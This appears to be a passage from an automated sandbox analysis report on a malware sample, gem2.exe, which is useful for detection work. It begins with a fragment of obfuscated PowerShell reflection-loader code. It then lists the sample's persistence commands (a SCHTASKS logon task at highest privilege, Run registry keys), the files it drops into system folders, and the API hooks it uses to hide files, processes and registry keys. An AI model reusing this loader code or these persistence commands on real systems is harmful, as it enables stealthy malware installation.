''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+'H'+[Char](105)+''+[Char](100)+'e'+'B'+''+'y'+''+[Char](83)+'i'+[Char](103)+''+','+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+'l'+'ot'+[Char](44)+'V'+[Char](105)+''+[Char](114)+'tual',$pZbFqViXVD,$lQOtNkEZiwxXMY).SetImplementationFlags('Ru'+'n'+''+'t'+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $sbBqvXXfarI.CreateType();}$MoLktxqtnxyrW=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+'st'+'e'+'m'+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+'o'+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+'W'+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+'ns'+'a'+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+'a'+''+[Char](116)+''+[Char](105)+''+'v'+''+[Char](101)+'M'+[Char](101)+

Suspicious powershell command line found

Source: unknown

Source: C:\Windows\System32\svchost.exe

Code function: 16_2_00000173D019FE30 WSAStartup,WSACleanup,GetModuleHandleW,GetProcAddress,wcspbrk,LoadLibraryW,GetProcAddress,LoadLibraryExW,GetSystemDirectoryW,malloc,GetSystemDirectoryW,LoadLibraryW,free,GetProcAddress,QueryPerformanceFrequency,

16_2_00000173D019FE30

Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 9_3_000001F5A966B0ED push rcx; retf 003Fh	9_3_000001F5A966B0EE
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54B7DFB push rax; retf	14_2_00007FF6A54B7DFC
Source: C:\Windows\System32\svchost.exe	Code function: 16_3_00000173D039B0ED push rcx; retf 003Fh	16_3_00000173D039B0EE
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D019CC0C push rdx; ret	16_2_00000173D019CC0D
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D019CC08 push rdi; retn 0004h	16_2_00000173D019CC09
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D1647DFB push rax; retf	17_2_00007FF7D1647DFC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 31_2_00007FFAAC861A45 pushad ; iretd	31_2_00007FFAAC861AA9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 31_2_00007FFAAC8663FB push ebx; retf 0009h	31_2_00007FFAAC86644A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 31_2_00007FFAAC936A00 pushad ; ret	31_2_00007FFAAC936A01

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: unknown

Executable created and started: C:\Windows\System32\System-f4855f59e0.exe

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe

Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	File created: C:\Users\user\AppData\Local\Temp\WinDrive-f4855f59e0.exe	Jump to dropped file
Source: C:\Users\user\Desktop\gem2.exe	File created: C:\Windows\System32\System-f4855f59e0.exe	Jump to dropped file
Source: C:\Users\user\Desktop\gem2.exe	File created: C:\Windows\SysWOW64\$LMX-f4855f59e0.exe	Jump to dropped file
Source: C:\Users\user\Desktop\gem2.exe	File created: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Jump to dropped file

Source: C:\Users\user\Desktop\gem2.exe	File created: C:\Windows\System32\System-f4855f59e0.exe			Jump to dropped file
Source: C:\Users\user\Desktop\gem2.exe	File created: C:\Windows\SysWOW64\$LMX-f4855f59e0.exe			Jump to dropped file

Boot Survival

Creates autostart registry keys with suspicious names

Source: C:\Users\user\Desktop\gem2.exe

Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Microsoft-f4855f59e0

Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\gem2.exe

Process created: C:\Windows\System32\schtasks.exe SCHTASKS /CREATE /TN "System-f4855f59e0" /TR "C:\Windows\System32\System-f4855f59e0.exe" /SC ONLOGON /RL HIGHEST /F

Source: C:\Users\user\Desktop\gem2.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Microsoft-f4855f59e0			Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Microsoft-f4855f59e0			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hooks files or directories query functions (used to hide files and directories)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile

Hooks processes query functions (used to hide processes)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQuerySystemInformation

Hooks registry keys query functions (used to hide registry keys)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: ntdll.dll function: ZwEnumerateKey new code: 0xE9 0x9C 0xC3 0x32 0x2C 0xCF

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2D030008 value: E9 8B D7 E9 FF	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2CECD790 value: E9 80 28 16 00	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2D040008 value: E9 9B F8 E8 FF	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2CECF8A0 value: E9 70 07 17 00	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2D050008 value: E9 8B DA E7 FF	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2CECDA90 value: E9 80 25 18 00	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2D060008 value: E9 4B D6 E6 FF	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2CECD650 value: E9 C0 29 19 00	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2D070008 value: E9 AB D0 E5 FF	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2CECD0B0 value: E9 60 2F 1A 00	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2D080008 value: E9 0B D2 E4 FF	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2CECD210 value: E9 00 2E 1B 00	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2D090008 value: E9 0B D9 E3 FF	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2CECD910 value: E9 00 27 1C 00	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2D0A0008 value: E9 CB D4 E2 FF	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2CECD4D0 value: E9 40 2B 1D 00	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2D0B0008 value: E9 8B D6 E1 FF	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2CECD690 value: E9 80 29 1E 00	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2D0C0008 value: E9 1B F8 E0 FF	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2CECF820 value: E9 F0 07 1F 00	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2D0D0008 value: E9 2B D9 DF FF	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2CECD930 value: E9 E0 26 20 00	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2D0E0008 value: E9 0B DA DE FF	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2CECDA10 value: E9 00 26 21 00	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2D0F0008 value: E9 EB D4 DD FF	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2CECD4F0 value: E9 20 2B 22 00	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2D100008 value: E9 5B F2 DC FF	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2CECF260 value: E9 B0 0D 23 00	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2D110008 value: E9 2B D5 DB FF	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2CECD530 value: E9 E0 2A 24 00	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2D120008 value: E9 5B 09 DB FF	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2CED0960 value: E9 B0 F6 24 00	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2D130008 value: E9 4B D4 D9 FF	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2CECD450 value: E9 C0 2B 26 00	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2D140008 value: E9 DB F1 D8 FF	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2CECF1E0 value: E9 30 0E 27 00	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2D150008 value: E9 CB D1 D7 FF	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2CECD1D0 value: E9 40 2E 28 00	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2D160008 value: E9 EB D1 D6 FF	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 7628 base: 7FFB2CECD1F0 value: E9 20 2E 29 00	Jump to behavior

Source: C:\Windows\System32\svchost.exe

Code function: 16_2_00000173CFC3B230 IsProcessorFeaturePresent,terminate,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

16_2_00000173CFC3B230

Source: C:\Users\user\Desktop\gem2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes	Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE $LMXstager

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\icacls.exe icacls C:\Windows\System32\reagentc.exe /grant administrators:F

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
